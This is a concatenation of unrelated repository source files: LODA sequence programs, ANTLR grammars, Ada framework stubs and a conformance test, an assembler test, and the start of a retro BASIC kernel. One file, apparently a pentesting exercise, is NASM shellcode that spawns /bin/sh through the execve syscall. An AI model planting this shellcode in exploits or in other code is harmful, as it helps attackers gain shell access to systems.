'addresses_WT_ht', 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'00': 2023} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
applescript.scpt
AliMD/happy-new-year
2
3137
display dialog "Happy New Year 1396"
pentesting/execve/execve.nasm
karng87/nasm_game
0
24466
;; python ;; import binascii ;; shell = b'/bin//sh' ;; binascii.hexlify(shell[::-1]) ;; 68732f2f6e69622f section .text global main main: ;; execve(const char *cmd, char const* v[], char const* e[]) ;; rax(rdi, rsi, rdx) ;; rax = 59 ;; rsi = *cmd ;; rsi = [ *cmd, *arg1, *arg2] ;; rdx = [ env1 = "", env2 = "" ...] xor rax, rax push rax mov rbx, 0x_68732f2f6e69622f push rbx mov rdi, rsp push rax mov rdx, rsp push rdi mov rsi, rsp add rax, 59 syscall
oeis/061/A061319.asm
neoneye/loda-programs
11
15904
; A061319: Column 4 of A061315. ; Submitted by <NAME> ; 0,1,10,76,430,1870,6601,19810,52326,124785,273790,560626,1083160,1991626,3509065,5957260,9789076,15628185,24317226,36975520,55067530,80483326,115632385,163552126,228032650,313759225,426474126,573159510 add $0,1 bin $0,2 add $0,1 pow $0,2 add $0,4 bin $0,2 div $0,18
programs/oeis/241/A241577.asm
neoneye/loda
22
2716
; A241577: n^3 + 4*n^2 - 5*n + 1. ; 1,1,15,49,109,201,331,505,729,1009,1351,1761,2245,2809,3459,4201,5041,5985,7039,8209,9501,10921,12475,14169,16009,18001,20151,22465,24949,27609,30451,33481,36705,40129,43759,47601,51661,55945,60459,65209,70201,75441,80935,86689,92709,99001,105571,112425,119569,127009,134751,142801,151165,159849,168859,178201,187881,197905,208279,219009,230101,241561,253395,265609,278209,291201,304591,318385,332589,347209,362251,377721,393625,409969,426759,444001,461701,479865,498499,517609,537201,557281,577855,598929,620509,642601,665211,688345,712009,736209,760951,786241,812085,838489,865459,893001,921121,949825,979119,1009009 mov $1,$0 bin $0,2 add $1,5 mul $0,$1 mul $0,2 add $0,1
src/pp/block5/cc/antlr/Building.g4
Pieterjaninfo/PP
0
4958
<reponame>Pieterjaninfo/PP grammar Building; //@header{package pp.block5.cc.antlr;} building: ID COLON floor+; floor: FLOOR (LSQ room+ RSQ)?; room: ROOM; LSQ: '['; RSQ: ']'; COLON: ':'; SEMI: ';'; fragment DIGIT: [0-9]; fragment LETTER: [a-zA-Z]; fragment NUMBER: DIGIT+; ROOM: 'r' NUMBER; FLOOR: 'f' NUMBER; ID: LETTER+; WS: [ \t\r\n]+ -> skip;
tests/devices/longptr/org.asm
fengjixuchui/sjasmplus
220
16638
OUTPUT "org.bin" DEVICE NONE ; no errors/warnings expected because of the --longptr option ORG $FFFF longptr1: DB 'A' longptr2: DB 'B' longptr3: DB 'C' DEVICE ZXSPECTRUM48 ; the --longptr should NOT affect actual devices => errors will be reported ORG $FFFF devbyte1: DB 'a' devbyte2: DB 'b' ; error crossing $10000 address boundary devbyte3: DB 'c' ; silent after first error reported
source/amf/mof/cmof/amf-internals-cmof_operations.adb
svn2github/matreshka
24
14764
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with AMF.Internals.Tables.CMOF_Attributes; with AMF.Internals.Element_Collections; with AMF.Internals.Helpers; with AMF.Visitors.CMOF_Iterators; with AMF.Visitors.CMOF_Visitors; package body AMF.Internals.CMOF_Operations is use AMF.Internals.Tables.CMOF_Attributes; ------------------- -- Enter_Element -- ------------------- overriding procedure Enter_Element (Self : not null access constant CMOF_Operation_Proxy; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control) is begin if Visitor in AMF.Visitors.CMOF_Visitors.CMOF_Visitor'Class then AMF.Visitors.CMOF_Visitors.CMOF_Visitor'Class (Visitor).Enter_Operation (AMF.CMOF.Operations.CMOF_Operation_Access (Self), Control); end if; end Enter_Element; ------------------------ -- Get_Body_Condition -- ------------------------ overriding function Get_Body_Condition (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Constraints.CMOF_Constraint_Access is begin return AMF.CMOF.Constraints.CMOF_Constraint_Access (AMF.Internals.Helpers.To_Element (Internal_Get_Body_Condition (Self.Element))); end Get_Body_Condition; --------------- -- Get_Class -- --------------- overriding function Get_Class (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Classes.CMOF_Class_Access is begin return AMF.CMOF.Classes.CMOF_Class_Access (AMF.Internals.Helpers.To_Element (Internal_Get_Class (Self.Element))); end Get_Class; ------------------ -- Get_Datatype -- ------------------ overriding function Get_Datatype (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Data_Types.CMOF_Data_Type_Access is begin return AMF.CMOF.Data_Types.CMOF_Data_Type_Access (AMF.Internals.Helpers.To_Element (Internal_Get_Datatype (Self.Element))); end Get_Datatype; ------------------ -- Get_Is_Query -- ------------------ overriding function Get_Is_Query (Self : not null access constant CMOF_Operation_Proxy) return Boolean is begin return Internal_Get_Is_Query (Self.Element); end Get_Is_Query; ------------------------- -- Get_Owned_Parameter -- ------------------------- overriding function Get_Owned_Parameter (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Parameters.Collections.Ordered_Set_Of_CMOF_Parameter is begin -- XXX This subprogram overrides Get_Owned_Parameter from -- Behavioral_Feature. It ca be reasonable to move it to corresponding -- package, but Behavioral_Feat is not used as superclass for other -- classes of MOF. return AMF.CMOF.Parameters.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (Internal_Get_Owned_Parameter (Self.Element))); end Get_Owned_Parameter; ----------------------- -- Get_Postcondition -- ----------------------- overriding function Get_Postcondition (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Constraints.Collections.Set_Of_CMOF_Constraint is begin return AMF.CMOF.Constraints.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (Internal_Get_Postcondition (Self.Element))); end Get_Postcondition; ---------------------- -- Get_Precondition -- ---------------------- overriding function Get_Precondition (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Constraints.Collections.Set_Of_CMOF_Constraint is begin return AMF.CMOF.Constraints.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (Internal_Get_Precondition (Self.Element))); end Get_Precondition; -------------------------- -- Get_Raised_Exception -- -------------------------- overriding function Get_Raised_Exception (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Types.Collections.Set_Of_CMOF_Type is begin return AMF.CMOF.Types.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (Internal_Get_Raised_Exception (Self.Element))); end Get_Raised_Exception; ----------------------------- -- Get_Redefined_Operation -- ----------------------------- overriding function Get_Redefined_Operation (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Operations.Collections.Set_Of_CMOF_Operation is begin return AMF.CMOF.Operations.Collections.Wrap (AMF.Internals.Element_Collections.Wrap (Internal_Get_Redefined_Operation (Self.Element))); end Get_Redefined_Operation; -------------- -- Get_Type -- -------------- overriding function Get_Type (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Types.CMOF_Type_Access is begin return AMF.CMOF.Types.CMOF_Type_Access (AMF.Internals.Helpers.To_Element (Internal_Get_Type (Self.Element))); end Get_Type; ------------------- -- Leave_Element -- ------------------- overriding procedure Leave_Element (Self : not null access constant CMOF_Operation_Proxy; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control) is begin if Visitor in AMF.Visitors.CMOF_Visitors.CMOF_Visitor'Class then AMF.Visitors.CMOF_Visitors.CMOF_Visitor'Class (Visitor).Leave_Operation (AMF.CMOF.Operations.CMOF_Operation_Access (Self), Control); end if; end Leave_Element; ------------------ -- Set_Is_Query -- ------------------ overriding procedure Set_Is_Query (Self : not null access CMOF_Operation_Proxy; To : Boolean) is begin Internal_Set_Is_Query (Self.Element, To); end Set_Is_Query; ------------------- -- Visit_Element -- ------------------- overriding procedure Visit_Element (Self : not null access constant CMOF_Operation_Proxy; Iterator : in out AMF.Visitors.Abstract_Iterator'Class; Visitor : in out AMF.Visitors.Abstract_Visitor'Class; Control : in out AMF.Visitors.Traverse_Control) is begin if Iterator in AMF.Visitors.CMOF_Iterators.CMOF_Iterator'Class then AMF.Visitors.CMOF_Iterators.CMOF_Iterator'Class (Iterator).Visit_Operation (Visitor, AMF.CMOF.Operations.CMOF_Operation_Access (Self), Control); end if; end Visit_Element; ------------------------ -- All_Owned_Elements -- ------------------------ overriding function All_Owned_Elements (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Elements.Collections.Set_Of_CMOF_Element is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "All_Owned_Elements unimplemented"); raise Program_Error; return All_Owned_Elements (Self); end All_Owned_Elements; ------------------------ -- Get_Qualified_Name -- ------------------------ overriding function Get_Qualified_Name (Self : not null access constant CMOF_Operation_Proxy) return Optional_String is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Get_Qualified_Name unimplemented"); raise Program_Error; return Get_Qualified_Name (Self); end Get_Qualified_Name; ----------------------------- -- Is_Distinguishable_From -- ----------------------------- overriding function Is_Distinguishable_From (Self : not null access constant CMOF_Operation_Proxy; N : AMF.CMOF.Named_Elements.CMOF_Named_Element_Access; Ns : AMF.CMOF.Namespaces.CMOF_Namespace_Access) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Distinguishable_From unimplemented"); raise Program_Error; return Is_Distinguishable_From (Self, N, Ns); end Is_Distinguishable_From; --------------------- -- Imported_Member -- --------------------- overriding function Imported_Member (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Packageable_Elements.Collections.Set_Of_CMOF_Packageable_Element is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Imported_Member unimplemented"); raise Program_Error; return Imported_Member (Self); end Imported_Member; ------------------------- -- Get_Names_Of_Member -- ------------------------- overriding function Get_Names_Of_Member (Self : not null access constant CMOF_Operation_Proxy; Element : AMF.CMOF.Named_Elements.CMOF_Named_Element_Access) return AMF.String_Collections.Set_Of_String is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Get_Names_Of_Member unimplemented"); raise Program_Error; return Get_Names_Of_Member (Self, Element); end Get_Names_Of_Member; -------------------- -- Import_Members -- -------------------- overriding function Import_Members (Self : not null access constant CMOF_Operation_Proxy; Imps : AMF.CMOF.Packageable_Elements.Collections.Set_Of_CMOF_Packageable_Element) return AMF.CMOF.Packageable_Elements.Collections.Set_Of_CMOF_Packageable_Element is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Import_Members unimplemented"); raise Program_Error; return Import_Members (Self, Imps); end Import_Members; ------------------------ -- Exclude_Collisions -- ------------------------ overriding function Exclude_Collisions (Self : not null access constant CMOF_Operation_Proxy; Imps : AMF.CMOF.Packageable_Elements.Collections.Set_Of_CMOF_Packageable_Element) return AMF.CMOF.Packageable_Elements.Collections.Set_Of_CMOF_Packageable_Element is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Exclude_Collisions unimplemented"); raise Program_Error; return Exclude_Collisions (Self, Imps); end Exclude_Collisions; --------------------------------- -- Members_Are_Distinguishable -- --------------------------------- overriding function Members_Are_Distinguishable (Self : not null access constant CMOF_Operation_Proxy) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Members_Are_Distinguishable unimplemented"); raise Program_Error; return Members_Are_Distinguishable (Self); end Members_Are_Distinguishable; ----------------- -- Set_Is_Leaf -- ----------------- overriding procedure Set_Is_Leaf (Self : not null access CMOF_Operation_Proxy; To : Boolean) is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Set_Is_Leaf unimplemented"); raise Program_Error; end Set_Is_Leaf; ----------------------------------- -- Is_Redefinition_Context_Valid -- ----------------------------------- overriding function Is_Redefinition_Context_Valid (Self : not null access constant CMOF_Operation_Proxy; Redefined : AMF.CMOF.Redefinable_Elements.CMOF_Redefinable_Element_Access) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Redefinition_Context_Valid unimplemented"); raise Program_Error; return Is_Redefinition_Context_Valid (Self, Redefined); end Is_Redefinition_Context_Valid; -------------------- -- Get_Is_Ordered -- -------------------- overriding function Get_Is_Ordered (Self : not null access constant CMOF_Operation_Proxy) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Get_Is_Ordered unimplemented"); raise Program_Error; return Get_Is_Ordered (Self); end Get_Is_Ordered; -------------------- -- Set_Is_Ordered -- -------------------- overriding procedure Set_Is_Ordered (Self : not null access CMOF_Operation_Proxy; To : Boolean) is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Set_Is_Ordered unimplemented"); raise Program_Error; end Set_Is_Ordered; ------------------- -- Get_Is_Unique -- ------------------- overriding function Get_Is_Unique (Self : not null access constant CMOF_Operation_Proxy) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Get_Is_Unique unimplemented"); raise Program_Error; return Get_Is_Unique (Self); end Get_Is_Unique; ------------------- -- Set_Is_Unique -- ------------------- overriding procedure Set_Is_Unique (Self : not null access CMOF_Operation_Proxy; To : Boolean) is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Set_Is_Unique unimplemented"); raise Program_Error; end Set_Is_Unique; --------------- -- Get_Lower -- --------------- overriding function Get_Lower (Self : not null access constant CMOF_Operation_Proxy) return Optional_Integer is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Get_Lower unimplemented"); raise Program_Error; return Get_Lower (Self); end Get_Lower; --------------- -- Set_Lower -- --------------- overriding procedure Set_Lower (Self : not null access CMOF_Operation_Proxy; To : Optional_Integer) is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Set_Lower unimplemented"); raise Program_Error; end Set_Lower; --------------- -- Get_Upper -- --------------- overriding function Get_Upper (Self : not null access constant CMOF_Operation_Proxy) return Optional_Unlimited_Natural is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Get_Upper unimplemented"); raise Program_Error; return Get_Upper (Self); end Get_Upper; --------------- -- Set_Upper -- --------------- overriding procedure Set_Upper (Self : not null access CMOF_Operation_Proxy; To : Optional_Unlimited_Natural) is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Set_Upper unimplemented"); raise Program_Error; end Set_Upper; --------------- -- Set_Class -- --------------- overriding procedure Set_Class (Self : not null access CMOF_Operation_Proxy; To : AMF.CMOF.Classes.CMOF_Class_Access) is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Set_Class unimplemented"); raise Program_Error; end Set_Class; ------------------ -- Set_Datatype -- ------------------ overriding procedure Set_Datatype (Self : not null access CMOF_Operation_Proxy; To : AMF.CMOF.Data_Types.CMOF_Data_Type_Access) is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Set_Datatype unimplemented"); raise Program_Error; end Set_Datatype; -------------- -- Set_Type -- -------------- overriding procedure Set_Type (Self : not null access CMOF_Operation_Proxy; To : AMF.CMOF.Types.CMOF_Type_Access) is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Set_Type unimplemented"); raise Program_Error; end Set_Type; ------------------------ -- Set_Body_Condition -- ------------------------ overriding procedure Set_Body_Condition (Self : not null access CMOF_Operation_Proxy; To : AMF.CMOF.Constraints.CMOF_Constraint_Access) is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Set_Body_Condition unimplemented"); raise Program_Error; end Set_Body_Condition; ---------------- -- Is_Ordered -- ---------------- overriding function Is_Ordered (Self : not null access constant CMOF_Operation_Proxy) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Ordered unimplemented"); raise Program_Error; return Is_Ordered (Self); end Is_Ordered; --------------- -- Is_Unique -- --------------- overriding function Is_Unique (Self : not null access constant CMOF_Operation_Proxy) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Unique unimplemented"); raise Program_Error; return Is_Unique (Self); end Is_Unique; ----------- -- Lower -- ----------- overriding function Lower (Self : not null access constant CMOF_Operation_Proxy) return Integer is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Lower unimplemented"); raise Program_Error; return Lower (Self); end Lower; ----------- -- Upper -- ----------- overriding function Upper (Self : not null access constant CMOF_Operation_Proxy) return Unlimited_Natural is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Upper unimplemented"); raise Program_Error; return Upper (Self); end Upper; ------------------------ -- Is_Consistent_With -- ------------------------ overriding function Is_Consistent_With (Self : not null access constant CMOF_Operation_Proxy; Redefinee : AMF.CMOF.Redefinable_Elements.CMOF_Redefinable_Element_Access) return Boolean is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Is_Consistent_With unimplemented"); raise Program_Error; return Is_Consistent_With (Self, Redefinee); end Is_Consistent_With; ------------------- -- Return_Result -- ------------------- overriding function Return_Result (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Parameters.Collections.Set_Of_CMOF_Parameter is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Return_Result unimplemented"); raise Program_Error; return Return_Result (Self); end Return_Result; ----------- -- Types -- ----------- overriding function Types (Self : not null access constant CMOF_Operation_Proxy) return AMF.CMOF.Types.CMOF_Type_Access is begin -- Generated stub: replace with real body! pragma Compile_Time_Warning (Standard.True, "Types unimplemented"); raise Program_Error; return Types (Self); end Types; end AMF.Internals.CMOF_Operations;
packages/query/src/loader/sql/grammar/SQLParser.g4
danvk/pgtyped
0
4244
parser grammar SQLParser; options { tokenVocab = SQLLexer; } input : ignoredComment* query+ EOF ; query : queryDef statement ; queryDef: OPEN_COMMENT nameTag paramTag* CLOSE_COMMENT; ignoredComment : OPEN_COMMENT (~CLOSE_COMMENT)* CLOSE_COMMENT; statement : statementBody EOF_STATEMENT; statementBody : (LINE_COMMENT | ignoredComment | param | word)*; word: WORD | ID | STRING | S_REQUIRED_MARK; param: PARAM_MARK paramId; paramId: ID S_REQUIRED_MARK?; nameTag: NAME_TAG queryName; paramTag: TYPE_TAG paramName paramTransform; paramTransform: TRANSFORM_ARROW transformRule; transformRule : spreadTransform | pickTransform | spreadPickTransform; spreadTransform: OB SPREAD CB; pickTransform: OB key (COMMA key)* COMMA? CB; spreadPickTransform: OB pickTransform SPREAD CB; key: ID C_REQUIRED_MARK?; queryName: ID; paramName: ID;
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cc/cc1004a.ada
best08618/asylo
7
13711
<gh_stars>1-10 -- CC1004A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT THE ELABORATION OF A GENERIC DECLARATION -- DOES NOT ELABORATE THE SUBPROGRAM OR PACKAGE SPECIFICATION. -- HISTORY: -- DAT 07/31/81 CREATED ORIGINAL TEST. -- SPS 10/18/82 -- SPS 02/09/83 -- JET 01/07/88 UPDATED HEADER FORMAT AND ADDED CODE TO -- PREVENT OPTIMIZATION. WITH REPORT; USE REPORT; PROCEDURE CC1004A IS BEGIN TEST ("CC1004A", "THE SPECIFICATION PART OF A GENERIC " & "SUBPROGRAM IS NOT ELABORATED AT THE " & "ELABORATION OF THE DECLARATION"); BEGIN DECLARE SUBTYPE I1 IS INTEGER RANGE 1 .. 1; GENERIC PROCEDURE PROC (P1: I1 := IDENT_INT(2)); PROCEDURE PROC (P1: I1 := IDENT_INT(2)) IS BEGIN IF NOT EQUAL (P1,P1) THEN COMMENT ("DON'T OPTIMIZE THIS"); END IF; END PROC; BEGIN BEGIN DECLARE PROCEDURE P IS NEW PROC; BEGIN IF NOT EQUAL(3,3) THEN P(1); END IF; END; EXCEPTION WHEN OTHERS => FAILED ("INSTANTIATION ELABORATES SPEC"); END; END; EXCEPTION WHEN OTHERS => FAILED ("DECL ELABORATED SPEC PART - 1"); END; BEGIN DECLARE SUBTYPE I1 IS INTEGER RANGE 1 .. 1; GENERIC PACKAGE PKG IS X : INTEGER := I1(IDENT_INT(2)); END PKG; BEGIN BEGIN DECLARE PACKAGE P IS NEW PKG; BEGIN FAILED ("PACKAGE INSTANTIATION FAILED"); IF NOT EQUAL(P.X,P.X) THEN COMMENT("DON'T OPTIMIZE THIS"); END IF; END; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ("WRONG EXCEPTION - 2"); END; END; EXCEPTION WHEN OTHERS => FAILED ("DECL ELABORATED SPEC PART - 2"); END; RESULT; END CC1004A;
asm/kernel/basic/basic.asm
majacQ/retroputer
58
163324
######################################## # # Retroputer Kernel : BASIC : Core # ######################################## .namespace basic { .import "./constants.asm" .segment brodata kmemmap.basic.rodata-start .append { ############################################################################### # # Welcome message and prompt # ############################################################################### welcome: .string constants.CLS .string 0x1B, "17", 0x12, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, constants.CR .string 0x1B, "18", 0x12, 0xDB, 0xE3, 0xDC, 0xE8, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0x1B, "255", 0x12, " RETROPUTER BASIC 1.0" .string 0x1B, "19", 0x12, 0xDB, 0xDE, 0xDB, 0xDE, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0x1B, "255", 0x12, " --------------------" .string 0x1B, "20", 0x12, 0xDB, 0xE3, 0xDC, 0xE8, 0xDB, 0xDB, 0xDB, 0xDB, 0x1B, "255", 0x12, constants.CR .string 0x1B, "21", 0x12, 0xDB, 0xDE, 0xDB, 0xDD, 0xDB, 0xDB, 0xDB, 0x1B, "255", 0x12, " 131072 Code Bytes Free" .string 0x1B, "22", 0x12, 0xDB, 0xDE, 0xDB, 0xDD, 0xDB, 0xDB, 0x1B, "255", 0x12, " 65536 Heap Bytes Free" .string 0x1B, "23", 0x12, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0x1B, "255", 0x12, constants.CR, constants.CR, constants.NUL prompt: .string "READY." newline: .byte constants.CR, constants.NUL } .import "./errors.asm" .import "./tokens.asm" ############################################################################### # # Global BASIC State # ############################################################################### .segment bdata kmemmap.basic.data-start .append { buffer: .byte[256] # (0x100) input buffer crunch-buffer: .byte[256] # (0x100) line crunch buffer forsub-stack: .word[256] # (0x200) stack for FOR/GOSUB/CALL. 128 4-byte entries # 31:30 = type (0=FOR, 1=GOSUB, 2=CALL) # 29:16 = variable (for FOR) # 15:0 = line number to return to # 0x300 bytes remaining for non-array data forsub-stack-ptr: .byte 0 # pointer into forsub stack execution-mode: .byte 0 # are we (1)running or (0)entering code? current-line-number: .word 0 